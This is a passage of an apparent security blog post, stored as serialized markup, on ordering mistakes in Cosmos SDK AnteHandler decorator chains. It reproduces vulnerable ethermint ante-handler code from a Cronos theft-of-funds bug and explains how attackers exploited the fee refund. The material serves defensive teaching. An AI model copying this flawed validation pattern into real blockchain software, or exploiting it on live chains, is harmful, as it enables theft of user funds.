NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n    NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[77147],{"type":23,"tag":135,"props":77148,"children":77149},{"__ignoreMap":7},[77150,77183,77200,77208,77237,77249,77261,77290,77318,77397,77430,77458,77503,77548,77576],{"type":23,"tag":139,"props":77151,"children":77152},{"class":141,"line":142},[77153,77158,77162,77166,77170,77174,77179],{"type":23,"tag":139,"props":77154,"children":77155},{"style":294},[77156],{"type":28,"value":77157},"anteDecorators",{"type":23,"tag":139,"props":77159,"children":77160},{"style":982},[77161],{"type":28,"value":74320},{"type":23,"tag":139,"props":77163,"children":77164},{"style":259},[77165],{"type":28,"value":74131},{"type":23,"tag":139,"props":77167,"children":77168},{"style":305},[77169],{"type":28,"value":76634},{"type":23,"tag":139,"props":77171,"children":77172},{"style":259},[77173],{"type":28,"value":73},{"type":23,"tag":139,"props":77175,"children":77176},{"style":305},[77177],{"type":28,"value":77178},"AnteDecorator",{"type":23,"tag":139,"props":77180,"children":77181},{"style":259},[77182],{"type":28,"value":8890},{"type":23,"tag":139,"props":77184,"children":77185},{"class":141,"line":151},[77186,77191,77195],{"type":23,"tag":139,"props":77187,"children":77188},{"style":245},[77189],{"type":28,"value":77190},"    NewSetUpContextDecorator",{"type":23,"tag":139,"props":77192,"children":77193},{"style":259},[77194],{"type":28,"value":16389},{"type":23,"tag":139,"props":77196,"children":77197},{"style":958},[77198],{"type":28,"value":77199},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":23,"tag":139,"props":77201,"children":77202},{"class":141,"line":160},[77203],{"type":23,"tag":139,"props":77204,"children":77205},{"style":958},[77206],{"type":28,"value":77207},"    // INSERT HERE\n",{"type":23,"tag":139,"props":77209,"children":77210},{"class":141,"line":169},[77211,77216,77220,77224,77228,77233],{"type":23,"tag":139,"props":77212,"children":77213},{"style":245},[77214],{"type":28,"value":77215},"    NewExtensionOptionsDecorator",{"type":23,"tag":139,"props":77217,"children":77218},{"style":259},[77219],{"type":28,"value":262},{"type":23,"tag":139,"props":77221,"children":77222},{"style":294},[77223],{"type":28,"value":33928},{"type":23,"tag":139,"props":77225,"children":77226},{"style":259},[77227],{"type":28,"value":73},{"type":23,"tag":139,"props":77229,"children":77230},{"style":294},[77231],{"type":28,"value":77232},"ExtensionOptionChecker",{"type":23,"tag":139,"props":77234,"children":77235},{"style":259},[77236],{"type":28,"value":4739},{"type":23,"tag":139,"props":77238,"children":77239},{"class":141,"line":178},[77240,77245],{"type":23,"tag":139,"props":77241,"children":77242},{"style":245},[77243],{"type":28,"value":77244},"    NewValidateBasicDecorator",{"type":23,"tag":139,"props":77246,"children":77247},{"style":259},[77248],{"type":28,"value":1471},{"type":23,"tag":139,"props":77250,"children":77251},{"class":141,"line":187},[77252,77257],{"type":23,"tag":139,"props":77253,"children":77254},{"style":245},[77255],{"type":28,"value":77256},"    NewTxTimeoutHeightDecorator",{"type":23,"tag":139,"props":77258,"children":77259},{"style":259},[77260],{"type":28,"value":1471},{"type":23,"tag":139,"props":77262,"children":77263},{"class":141,"line":196},[77264,77269,77273,77277,77281,77286],{"type":23,"tag":139,"props":77265,"children":77266},{"style":245},[77267],{"type":28,"value":77268},"    NewValidateMemoDecorator",{"type":23,"tag":139,"props":77270,"children":77271},{"style":259},[77272],{"type":28,"value":262},{"type":23,"tag":139,"props":77274,"children":77275},{"style":294},[77276],{"type":28,"value":33928},{"type":23,"tag":139,"props":77278,"children":77279},{"style":259},[77280],{"type":28,"value":73},{"type":23,"tag":139,"props":77282,"children":77283},{"style":294},[77284],{"type":28,"value":77285},"AccountKeeper",{"type":23,"tag":139,"props":77287,"children":77288},{"style":259},[77289],{"type":28,"value":4739},{"type":23,"tag":139,"props":77291,"children":77292},{"class":141,"line":205},[77293,77298,77302,77306,77310,77314],{"type":23,"tag":139,"props":77294,"children":77295},{"style":245},[77296],{"type":28,"value":77297},"    NewConsumeGasForTxSizeDecorator",{"type":23,"tag":139,"props":77299,"children":77300},{"style":259},[77301],{"type":28,"value":262},{"type":23,"tag":139,"props":77303,"children":77304},{"style":294},[77305],{"type":28,"value":33928},{"type":23,"tag":139,"props":77307,"children":77308},{"style":259},[77309],{"type":28,"value":73},{"type":23,"tag":139,"props":77311,"children":77312},{"style":294},[77313],{"type":28,"value":77285},{"type":23,"tag":139,"props":77315,"children":77316},{"style":259},[77317],{"type":28,"value":4739},{"type":23,"tag":139,"props":77319,"children":77320},{"class":141,"line":214},[77321,77326,77330,77334,77338,77342,77346,77350,77354,77359,77363,77367,77371,77376,77380,77384,77388,77393],{"type":23,"tag":139,"props":77322,"children":77323},{"style":245},[77324],{"type":28,"value":77325},"    NewDeductFeeDecorator",{"type":23,"tag":139,"props":77327,"children":77328},{"style":259},[77329],{"type":28,"value":262},{"type":23,"tag":139,"props":77331,"children":77332},{"style":294},[77333],{"type":28,"value":33928},{"type":23,"tag":139,"props":77335,"children":77336},{"style":259},[77337],{"type":28,"value":73},{"type":23,"tag":139,"props":77339,"children":77340},{"style":294},[77341],{"type":28,"value":77285},{"type":23,"tag":139,"props":77343,"children":77344},{"style":259},[77345],{"type":28,"value":1052},{"type":23,"tag":139,"props":77347,"children":77348},{"style":294},[77349],{"type":28,"value":33928},{"type":23,"tag":139,"props":77351,"children":77352},{"style":259},[77353],{"type":28,"value":73},{"type":23,"tag":139,"props":77355,"children":77356},{"style":294},[77357],{"type":28,"value":77358},"BankKeeper",{"type":23,"tag":139,"props":77360,"children":77361},{"style":259},[77362],{"type":28,"value":1052},{"type":23,"tag":139,"props":77364,"children":77365},{"style":294},[77366],{"type":28,"value":33928},{"type":23,"tag":139,"props":77368,"children":77369},{"style":259},[77370],{"type":28,"value":73},{"type":23,"tag":139,"props":77372,"children":77373},{"style":294},[77374],{"type":28,"value":77375},"FeegrantKeeper",{"type":23,"tag":139,"props":77377,"children":77378},{"style":259},[77379],{"type":28,"value":1052},{"type":23,"tag":139,"props":77381,"children":77382},{"style":294},[77383],{"type":28,"value":33928},{"type":23,"tag":139,"props":77385,"children":77386},{"style":259},[77387],{"type":28,"value":73},{"type":23,"tag":139,"props":77389,"children":77390},{"style":294},[77391],{"type":28,"value":77392},"TxFeeChecker",{"type":23,"tag":139,"props":77394,"children":77395},{"style":259},[77396],{"type":28,"value":4739},{"type":23,"tag":139,"props":77398,"children":77399},{"class":141,"line":1320},[77400,77405,77409,77413,77417,77421,77425],{"type":23,"tag":139,"props":77401,"children":77402},{"style":245},[77403],{"type":28,"value":77404},"    NewSetPubKeyDecorator",{"type":23,"tag":139,"props":77406,"children":77407},{"style":259},[77408],{"type":28,"value":262},{"type":23,"tag":139,"props":77410,"children":77411},{"style":294},[77412],{"type":28,"value":33928},{"type":23,"tag":139,"props":77414,"children":77415},{"style":259},[77416],{"type":28,"value":73},{"type":23,"tag":139,"props":77418,"children":77419},{"style":294},[77420],{"type":28,"value":77285},{"type":23,"tag":139,"props":77422,"children":77423},{"style":259},[77424],{"type":28,"value":13189},{"type":23,"tag":139,"props":77426,"children":77427},{"style":958},[77428],{"type":28,"value":77429},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":23,"tag":139,"props":77431,"children":77432},{"class":141,"line":1329},[77433,77438,77442,77446,77450,77454],{"type":23,"tag":139,"props":77434,"children":77435},{"style":245},[77436],{"type":28,"value":77437},"    NewValidateSigCountDecorator",{"type":23,"tag":139,"props":77439,"children":77440},{"style":259},[77441],{"type":28,"value":262},{"type":23,"tag":139,"props":77443,"children":77444},{"style":294},[77445],{"type":28,"value":33928},{"type":23,"tag":139,"props":77447,"children":77448},{"style":259},[77449],{"type":28,"value":73},{"type":23,"tag":139,"props":77451,"children":77452},{"style":294},[77453],{"type":28,"value":77285},{"type":23,"tag":139,"props":77455,"children":77456},{"style":259},[77457],{"type":28,"value":4739},{"type":23,"tag":139,"props":77459,"children":77460},{"class":141,"line":1580},[77461,77466,77470,77474,77478,77482,77486,77490,77494,77499],{"type":23,"tag":139,"props":77462,"children":77463},{"style":245},[77464],{"type":28,"value":77465},"    NewSigGasConsumeDecorator",{"type":23,"tag":139,"props":77467,"children":77468},{"style":259},[77469],{"type":28,"value":262},{"type":23,"tag":139,"props":77471,"children":77472},{"style":294},[77473],{"type":28,"value":33928},{"type":23,"tag":139,"props":77475,"children":77476},{"style":259},[77477],{"type":28,"value":73},{"type":23,"tag":139,"props":77479,"children":77480},{"style":294},[77481],{"type":28,"value":77285},{"type":23,"tag":139,"props":77483,"children":77484},{"style":259},[77485],{"type":28,"value":1052},{"type":23,"tag":139,"props":77487,"children":77488},{"style":294},[77489],{"type":28,"value":33928},{"type":23,"tag":139,"props":77491,"children":77492},{"style":259},[77493],{"type":28,"value":73},{"type":23,"tag":139,"props":77495,"children":77496},{"style":294},[77497],{"type":28,"value":77498},"SigGasConsumer",{"type":23,"tag":139,"props":77500,"children":77501},{"style":259},[77502],{"type":28,"value":4739},{"type":23,"tag":139,"props":77504,"children":77505},{"class":141,"line":1597},[77506,77511,77515,77519,77523,77527,77531,77535,77539,77544],{"type":23,"tag":139,"props":77507,"children":77508},{"style":245},[77509],{"type":28,"value":77510},"    NewSigVerificationDecorator",{"type":23,"tag":139,"props":77512,"children":77513},{"style":259},[77514],{"type":28,"value":262},{"type":23,"tag":139,"props":77516,"children":77517},{"style":294},[77518],{"type":28,"value":33928},{"type":23,"tag":139,"props":77520,"children":77521},{"style":259},[77522],{"type":28,"value":73},{"type":23,"tag":139,"props":77524,"children":77525},{"style":294},[77526],{"type":28,"value":77285},{"type":23,"tag":139,"props":77528,"children":77529},{"style":259},[77530],{"type":28,"value":1052},{"type":23,"tag":139,"props":77532,"children":77533},{"style":294},[77534],{"type":28,"value":33928},{"type":23,"tag":139,"props":77536,"children":77537},{"style":259},[77538],{"type":28,"value":73},{"type":23,"tag":139,"props":77540,"children":77541},{"style":294},[77542],{"type":28,"value":77543},"SignModeHandler",{"type":23,"tag":139,"props":77545,"children":77546},{"style":259},[77547],{"type":28,"value":4739},{"type":23,"tag":139,"props":77549,"children":77550},{"class":141,"line":1614},[77551,77556,77560,77564,77568,77572],{"type":23,"tag":139,"props":77552,"children":77553},{"style":245},[77554],{"type":28,"value":77555},"    NewIncrementSequenceDecorator",{"type":23,"tag":139,"props":77557,"children":77558},{"style":259},[77559],{"type":28,"value":262},{"type":23,"tag":139,"props":77561,"children":77562},{"style":294},[77563],{"type":28,"value":33928},{"type":23,"tag":139,"props":77565,"children":77566},{"style":259},[77567],{"type":28,"value":73},{"type":23,"tag":139,"props":77569,"children":77570},{"style":294},[77571],{"type":28,"value":77285},{"type":23,"tag":139,"props":77573,"children":77574},{"style":259},[77575],{"type":28,"value":4739},{"type":23,"tag":139,"props":77577,"children":77578},{"class":141,"line":1627},[77579],{"type":23,"tag":139,"props":77580,"children":77581},{"style":259},[77582],{"type":28,"value":1897},{"type":23,"tag":24,"props":77584,"children":77585},{},[77586,77588,77593,77595,77601,77602,77608],{"type":28,"value":77587},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":23,"tag":135,"props":77589,"children":77591},{"className":77590},[],[77592],{"type":28,"value":77123},{"type":28,"value":77594},", such as ",{"type":23,"tag":135,"props":77596,"children":77598},{"className":77597},[],[77599],{"type":28,"value":77600},"SigGasConsumeDecorator",{"type":28,"value":9002},{"type":23,"tag":135,"props":77603,"children":77605},{"className":77604},[],[77606],{"type":28,"value":77607},"ConsumeGasForTxSizeDecorator",{"type":28,"value":77609},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":23,"tag":24,"props":77611,"children":77612},{},[77613,77615,77621,77623,77628],{"type":28,"value":77614},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":23,"tag":135,"props":77616,"children":77618},{"className":77617},[],[77619],{"type":28,"value":77620},"msgs",{"type":28,"value":77622}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":23,"tag":135,"props":77624,"children":77626},{"className":77625},[],[77627],{"type":28,"value":76449},{"type":28,"value":77629}," chain.",{"type":23,"tag":666,"props":77631,"children":77633},{"id":77632},"real-world-examples-2",[77634],{"type":28,"value":74593},{"type":23,"tag":24,"props":77636,"children":77637},{},[77638,77640,77645,77647,77654],{"type":28,"value":77639},"An instance of ",{"type":23,"tag":135,"props":77641,"children":77643},{"className":77642},[],[77644],{"type":28,"value":76374},{"type":28,"value":77646}," misuse is a ",{"type":23,"tag":64,"props":77648,"children":77651},{"href":77649,"rel":77650},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[68],[77652],{"type":28,"value":77653},"Theft of Fund bug",{"type":28,"value":77655}," that was exploited in a Cronos contract.",{"type":23,"tag":24,"props":77657,"children":77658},{},[77659,77661,77666,77668,77673,77675,77681,77683,77689,77691,77696,77698,77703],{"type":28,"value":77660},"In this scenario, ",{"type":23,"tag":135,"props":77662,"children":77664},{"className":77663},[],[77665],{"type":28,"value":77620},{"type":28,"value":77667}," are multiplexed to different ",{"type":23,"tag":135,"props":77669,"children":77671},{"className":77670},[],[77672],{"type":28,"value":76374},{"type":28,"value":77674}," sets through the user-controlled ",{"type":23,"tag":135,"props":77676,"children":77678},{"className":77677},[],[77679],{"type":28,"value":77680},"ExtensionOptionsEthereumTx",{"type":28,"value":77682}," option. However, due to a lack of tx validation, if a ",{"type":23,"tag":135,"props":77684,"children":77686},{"className":77685},[],[77687],{"type":28,"value":77688},"MsgEthereumTx",{"type":28,"value":77690}," does not have ",{"type":23,"tag":135,"props":77692,"children":77694},{"className":77693},[],[77695],{"type":28,"value":77680},{"type":28,"value":77697}," specified, it will be routed to non-Ethereum ",{"type":23,"tag":135,"props":77699,"children":77701},{"className":77700},[],[77702],{"type":28,"value":77123},{"type":28,"value":77704},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":23,"tag":24,"props":77706,"children":77707},{},[77708],{"type":23,"tag":64,"props":77709,"children":77712},{"href":77710,"rel":77711},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[68],[77713],{"type":28,"value":74643},{"type":23,"tag":128,"props":77715,"children":77717},{"code":77716,"language":74068,"meta":7,"className":74069,"style":7},"func NewAnteHandler(\n    ak evmtypes.AccountKeeper,\n    bankKeeper evmtypes.BankKeeper,\n    evmKeeper EVMKeeper,\n    feeGrantKeeper authante.FeegrantKeeper,\n    channelKeeper channelkeeper.Keeper,\n    signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n    return func(\n        ctx sdk.Context, tx sdk.Tx, sim bool,\n    ) (newCtx sdk.Context, err error) {\n        var anteHandler sdk.AnteHandler\n\n        defer Recover(ctx.Logger(), &err)\n\n        txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n        if ok {\n            opts := txWithExtensions.GetExtensionOptions()\n            if len(opts) > 0 {\n                switch typeURL := opts[0].GetTypeUrl(); typeURL {\n                case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n                    // handle as *evmtypes.MsgEthereumTx\n\n                    anteHandler = sdk.ChainAnteDecorators(\n                        NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                        ...\n                        NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n                    )\n\n                default:\n                    return ctx, stacktrace.Propagate(\n                        sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n                        \"rejecting tx with unsupported extension option\",\n                    )\n                }\n\n                return anteHandler(ctx, tx, sim)\n            }\n        }\n\n        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n        switch tx.(type) {\n        case sdk.Tx:\n            anteHandler = sdk.ChainAnteDecorators(\n                authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                 ...\n                authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n            )\n        default:\n            return ctx, stacktrace.Propagate(\n                sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n                \"transaction is not an SDK tx\",\n            )\n        }\n\n        return anteHandler(ctx, tx, sim)\n    }\n}\n",[77718],{"type":23,"tag":135,"props":77719,"children":77720},{"__ignoreMap":7},[77721,77737,77762,77786,77803,77828,77854,77879,77902,77918,77974,78015,78041,78048,78094,78101,78147,78163,78193,78228,78280,78297,78305,78312,78341,78357,78365,78391,78399,78406,78418,78452,78498,78510,78517,78524,78531,78570,78577,78584,78591,78599,78606,78630,78654,78682,78707,78715,78748,78755,78767,78798,78853,78866,78874,78882,78890,78930,78938],{"type":23,"tag":139,"props":77722,"children":77723},{"class":141,"line":142},[77724,77728,77733],{"type":23,"tag":139,"props":77725,"children":77726},{"style":279},[77727],{"type":28,"value":74204},{"type":23,"tag":139,"props":77729,"children":77730},{"style":245},[77731],{"type":28,"value":77732}," NewAnteHandler",{"type":23,"tag":139,"props":77734,"children":77735},{"style":259},[77736],{"type":28,"value":1443},{"type":23,"tag":139,"props":77738,"children":77739},{"class":141,"line":151},[77740,77745,77750,77754,77758],{"type":23,"tag":139,"props":77741,"children":77742},{"style":294},[77743],{"type":28,"value":77744},"    ak",{"type":23,"tag":139,"props":77746,"children":77747},{"style":305},[77748],{"type":28,"value":77749}," evmtypes",{"type":23,"tag":139,"props":77751,"children":77752},{"style":259},[77753],{"type":28,"value":73},{"type":23,"tag":139,"props":77755,"children":77756},{"style":305},[77757],{"type":28,"value":77285},{"type":23,"tag":139,"props":77759,"children":77760},{"style":259},[77761],{"type":28,"value":1488},{"type":23,"tag":139,"props":77763,"children":77764},{"class":141,"line":160},[77765,77770,77774,77778,77782],{"type":23,"tag":139,"props":77766,"children":77767},{"style":294},[77768],{"type":28,"value":77769},"    bankKeeper",{"type":23,"tag":139,"props":77771,"children":77772},{"style":305},[77773],{"type":28,"value":77749},{"type":23,"tag":139,"props":77775,"children":77776},{"style":259},[77777],{"type":28,"value":73},{"type":23,"tag":139,"props":77779,"children":77780},{"style":305},[77781],{"type":28,"value":77358},{"type":23,"tag":139,"props":77783,"children":77784},{"style":259},[77785],{"type":28,"value":1488},{"type":23,"tag":139,"props":77787,"children":77788},{"class":141,"line":169},[77789,77794,77799],{"type":23,"tag":139,"props":77790,"children":77791},{"style":294},[77792],{"type":28,"value":77793},"    evmKeeper",{"type":23,"tag":139,"props":77795,"children":77796},{"style":305},[77797],{"type":28,"value":77798}," EVMKeeper",{"type":23,"tag":139,"props":77800,"children":77801},{"style":259},[77802],{"type":28,"value":1488},{"type":23,"tag":139,"props":77804,"children":77805},{"class":141,"line":178},[77806,77811,77816,77820,77824],{"type":23,"tag":139,"props":77807,"children":77808},{"style":294},[77809],{"type":28,"value":77810},"    feeGrantKeeper",{"type":23,"tag":139,"props":77812,"children":77813},{"style":305},[77814],{"type":28,"value":77815}," authante",{"type":23,"tag":139,"props":77817,"children":77818},{"style":259},[77819],{"type":28,"value":73},{"type":23,"tag":139,"props":77821,"children":77822},{"style":305},[77823],{"type":28,"value":77375},{"type":23,"tag":139,"props":77825,"children":77826},{"style":259},[77827],{"type":28,"value":1488},{"type":23,"tag":139,"props":77829,"children":77830},{"class":141,"line":187},[77831,77836,77841,77845,77850],{"type":23,"tag":139,"props":77832,"children":77833},{"style":294},[77834],{"type":28,"value":77835},"    channelKeeper",{"type":23,"tag":139,"props":77837,"children":77838},{"style":305},[77839],{"type":28,"value":77840}," channelkeeper",{"type":23,"tag":139,"props":77842,"children":77843},{"style":259},[77844],{"type":28,"value":73},{"type":23,"tag":139,"props":77846,"children":77847},{"style":305},[77848],{"type":28,"value":77849},"Keeper",{"type":23,"tag":139,"props":77851,"children":77852},{"style":259},[77853],{"type":28,"value":1488},{"type":23,"tag":139,"props":77855,"children":77856},{"class":141,"line":196},[77857,77862,77867,77871,77875],{"type":23,"tag":139,"props":77858,"children":77859},{"style":294},[77860],{"type":28,"value":77861},"    signModeHandler",{"type":23,"tag":139,"props":77863,"children":77864},{"style":305},[77865],{"type":28,"value":77866}," authsigning",{"type":23,"tag":139,"props":77868,"children":77869},{"style":259},[77870],{"type":28,"value":73},{"type":23,"tag":139,"props":77872,"children":77873},{"style":305},[77874],{"type":28,"value":77543},{"type":23,"tag":139,"props":77876,"children":77877},{"style":259},[77878],{"type":28,"value":1488},{"type":23,"tag":139,"props":77880,"children":77881},{"class":141,"line":205},[77882,77886,77890,77894,77898],{"type":23,"tag":139,"props":77883,"children":77884},{"style":259},[77885],{"type":28,"value":1062},{"type":23,"tag":139,"props":77887,"children":77888},{"style":305},[77889],{"type":28,"value":76634},{"type":23,"tag":139,"props":77891,"children":77892},{"style":259},[77893],{"type":28,"value":73},{"type":23,"tag":139,"props":77895,"children":77896},{"style":305},[77897],{"type":28,"value":76374},{"type":23,"tag":139,"props":77899,"children":77900},{"style":259},[77901],{"type":28,"value":1268},{"type":23,"tag":139,"props":77903,"children":77904},{"class":141,"line":214},[77905,77909,77914],{"type":23,"tag":139,"props":77906,"children":77907},{"style":319},[77908],{"type":28,"value":322},{"type":23,"tag":139,"props":77910,"children":77911},{"style":279},[77912],{"type":28,"value":77913}," func",{"type":23,"tag":139,"props":77915,"children":77916},{"style":259},[77917],{"type":28,"value":1443},{"type":23,"tag":139,"props":77919,"children":77920},{"class":141,"line":1320},[77921,77925,77929,77933,77937,77941,77945,77949,77953,77957,77961,77966,77970],{"type":23,"tag":139,"props":77922,"children":77923},{"style":294},[77924],{"type":28,"value":24207},{"type":23,"tag":139,"props":77926,"children":77927},{"style":305},[77928],{"type":28,"value":76545},{"type":23,"tag":139,"props":77930,"children":77931},{"style":259},[77932],{"type":28,"value":73},{"type":23,"tag":139,"props":77934,"children":77935},{"style":305},[77936],{"type":28,"value":74253},{"type":23,"tag":139,"props":77938,"children":77939},{"style":259},[77940],{"type":28,"value":1052},{"type":23,"tag":139,"props":77942,"children":77943},{"style":294},[77944],{"type":28,"value":77085},{"type":23,"tag":139,"props":77946,"children":77947},{"style":305},[77948],{"type":28,"value":76545},{"type":23,"tag":139,"props":77950,"children":77951},{"style":259},[77952],{"type":28,"value":73},{"type":23,"tag":139,"props":77954,"children":77955},{"style":305},[77956],{"type":28,"value":76578},{"type":23,"tag":139,"props":77958,"children":77959},{"style":259},[77960],{"type":28,"value":1052},{"type":23,"tag":139,"props":77962,"children":77963},{"style":294},[77964],{"type":28,"value":77965},"sim",{"type":23,"tag":139,"props":77967,"children":77968},{"style":305},[77969],{"type":28,"value":10061},{"type":23,"tag":139,"props":77971,"children":77972},{"style":259},[77973],{"type":28,"value":1488},{"type":23,"tag":139,"props":77975,"children":77976},{"class":141,"line":1329},[77977,77982,77987,77991,77995,77999,78003,78007,78011],{"type":23,"tag":139,"props":77978,"children":77979},{"style":259},[77980],{"type":28,"value":77981},"    ) (",{"type":23,"tag":139,"props":77983,"children":77984},{"style":294},[77985],{"type":28,"value":77986},"newCtx",{"type":23,"tag":139,"props":77988,"children":77989},{"style":305},[77990],{"type":28,"value":76545},{"type":23,"tag":139,"props":77992,"children":77993},{"style":259},[77994],{"type":28,"value":73},{"type":23,"tag":139,"props":77996,"children":77997},{"style":305},[77998],{"type":28,"value":74253},{"type":23,"tag":139,"props":78000,"children":78001},{"style":259},[78002],{"type":28,"value":1052},{"type":23,"tag":139,"props":78004,"children":78005},{"style":294},[78006],{"type":28,"value":46317},{"type":23,"tag":139,"props":78008,"children":78009},{"style":305},[78010],{"type":28,"value":12888},{"type":23,"tag":139,"props":78012,"children":78013},{"style":259},[78014],{"type":28,"value":12815},{"type":23,"tag":139,"props":78016,"children":78017},{"class":141,"line":1580},[78018,78023,78028,78032,78036],{"type":23,"tag":139,"props":78019,"children":78020},{"style":279},[78021],{"type":28,"value":78022},"        var",{"type":23,"tag":139,"props":78024,"children":78025},{"style":294},[78026],{"type":28,"value":78027}," anteHandler",{"type":23,"tag":139,"props":78029,"children":78030},{"style":305},[78031],{"type":28,"value":76545},{"type":23,"tag":139,"props":78033,"children":78034},{"style":259},[78035],{"type":28,"value":73},{"type":23,"tag":139,"props":78037,"children":78038},{"style":305},[78039],{"type":28,"value":78040},"AnteHandler\n",{"type":23,"tag":139,"props":78042,"children":78043},{"class":141,"line":1597},[78044],{"type":23,"tag":139,"props":78045,"children":78046},{"emptyLinePlaceholder":15},[78047],{"type":28,"value":184},{"type":23,"tag":139,"props":78049,"children":78050},{"class":141,"line":1614},[78051,78056,78061,78065,78069,78073,78078,78082,78086,78090],{"type":23,"tag":139,"props":78052,"children":78053},{"style":319},[78054],{"type":28,"value":78055},"        defer",{"type":23,"tag":139,"props":78057,"children":78058},{"style":245},[78059],{"type":28,"value":78060}," Recover",{"type":23,"tag":139,"props":78062,"children":78063},{"style":259},[78064],{"type":28,"value":262},{"type":23,"tag":139,"props":78066,"children":78067},{"style":294},[78068],{"type":28,"value":18288},{"type":23,"tag":139,"props":78070,"children":78071},{"style":259},[78072],{"type":28,"value":73},{"type":23,"tag":139,"props":78074,"children":78075},{"style":245},[78076],{"type":28,"value":78077},"Logger",{"type":23,"tag":139,"props":78079,"children":78080},{"style":259},[78081],{"type":28,"value":16389},{"type":23,"tag":139,"props":78083,"children":78084},{"style":982},[78085],{"type":28,"value":1085},{"type":23,"tag":139,"props":78087,"children":78088},{"style":294},[78089],{"type":28,"value":46317},{"type":23,"tag":139,"props":78091,"children":78092},{"style":259},[78093],{"type":28,"value":273},{"type":23,"tag":139,"props":78095,"children":78096},{"class":141,"line":1627},[78097],{"type":23,"tag":139,"props":78098,"children":78099},{"emptyLinePlaceholder":15},[78100],{"type":28,"value":184},{"type":23,"tag":139,"props":78102,"children":78103},{"class":141,"line":1636},[78104,78109,78113,78117,78121,78125,78129,78134,78138,78143],{"type":23,"tag":139,"props":78105,"children":78106},{"style":294},[78107],{"type":28,"value":78108},"        txWithExtensions",{"type":23,"tag":139,"props":78110,"children":78111},{"style":259},[78112],{"type":28,"value":1052},{"type":23,"tag":139,"props":78114,"children":78115},{"style":294},[78116],{"type":28,"value":76671},{"type":23,"tag":139,"props":78118,"children":78119},{"style":982},[78120],{"type":28,"value":74320},{"type":23,"tag":139,"props":78122,"children":78123},{"style":294},[78124],{"type":28,"value":65929},{"type":23,"tag":139,"props":78126,"children":78127},{"style":259},[78128],{"type":28,"value":76684},{"type":23,"tag":139,"props":78130,"children":78131},{"style":305},[78132],{"type":28,"value":78133},"authante",{"type":23,"tag":139,"props":78135,"children":78136},{"style":259},[78137],{"type":28,"value":73},{"type":23,"tag":139,"props":78139,"children":78140},{"style":305},[78141],{"type":28,"value":78142},"HasExtensionOptionsTx",{"type":23,"tag":139,"props":78144,"children":78145},{"style":259},[78146],{"type":28,"value":273},{"type":23,"tag":139,"props":78148,"children":78149},{"class":141,"line":1659},[78150,78154,78159],{"type":23,"tag":139,"props":78151,"children":78152},{"style":319},[78153],{"type":28,"value":1249},{"type":23,"tag":139,"props":78155,"children":78156},{"style":294},[78157],{"type":28,"value":78158}," ok",{"type":23,"tag":139,"props":78160,"children":78161},{"style":259},[78162],{"type":28,"value":1268},{"type":23,"tag":139,"props":78164,"children":78165},{"class":141,"line":1667},[78166,78171,78175,78180,78184,78189],{"type":23,"tag":139,"props":78167,"children":78168},{"style":294},[78169],{"type":28,"value":78170},"            opts",{"type":23,"tag":139,"props":78172,"children":78173},{"style":982},[78174],{"type":28,"value":74320},{"type":23,"tag":139,"props":78176,"children":78177},{"style":294},[78178],{"type":28,"value":78179}," txWithExtensions",{"type":23,"tag":139,"props":78181,"children":78182},{"style":259},[78183],{"type":28,"value":73},{"type":23,"tag":139,"props":78185,"children":78186},{"style":245},[78187],{"type":28,"value":78188},"GetExtensionOptions",{"type":23,"tag":139,"props":78190,"children":78191},{"style":259},[78192],{"type":28,"value":5739},{"type":23,"tag":139,"props":78194,"children":78195},{"class":141,"line":1676},[78196,78200,78204,78208,78212,78216,78220,78224],{"type":23,"tag":139,"props":78197,"children":78198},{"style":319},[78199],{"type":28,"value":56700},{"type":23,"tag":139,"props":78201,"children":78202},{"style":245},[78203],{"type":28,"value":6562},{"type":23,"tag":139,"props":78205,"children":78206},{"style":259},[78207],{"type":28,"value":262},{"type":23,"tag":139,"props":78209,"children":78210},{"style":294},[78211],{"type":28,"value":46459},{"type":23,"tag":139,"props":78213,"children":78214},{"style":259},[78215],{"type":28,"value":1062},{"type":23,"tag":139,"props":78217,"children":78218},{"style":982},[78219],{"type":28,"value":8471},{"type":23,"tag":139,"props":78221,"children":78222},{"style":1016},[78223],{"type":28,"value":1019},{"type":23,"tag":139,"props":78225,"children":78226},{"style":259},[78227],{"type":28,"value":1268},{"type":23,"tag":139,"props":78229,"children":78230},{"class":141,"line":1745},[78231,78236,78241,78245,78250,78254,78258,78262,78267,78271,78276],{"type":23,"tag":139,"props":78232,"children":78233},{"style":319},[78234],{"type":28,"value":78235},"                switch",{"type":23,"tag":139,"props":78237,"children":78238},{"style":294},[78239],{"type":28,"value":78240}," typeURL",{"type":23,"tag":139,"props":78242,"children":78243},{"style":982},[78244],{"type":28,"value":74320},{"type":23,"tag":139,"props":78246,"children":78247},{"style":294},[78248],{"type":28,"value":78249}," 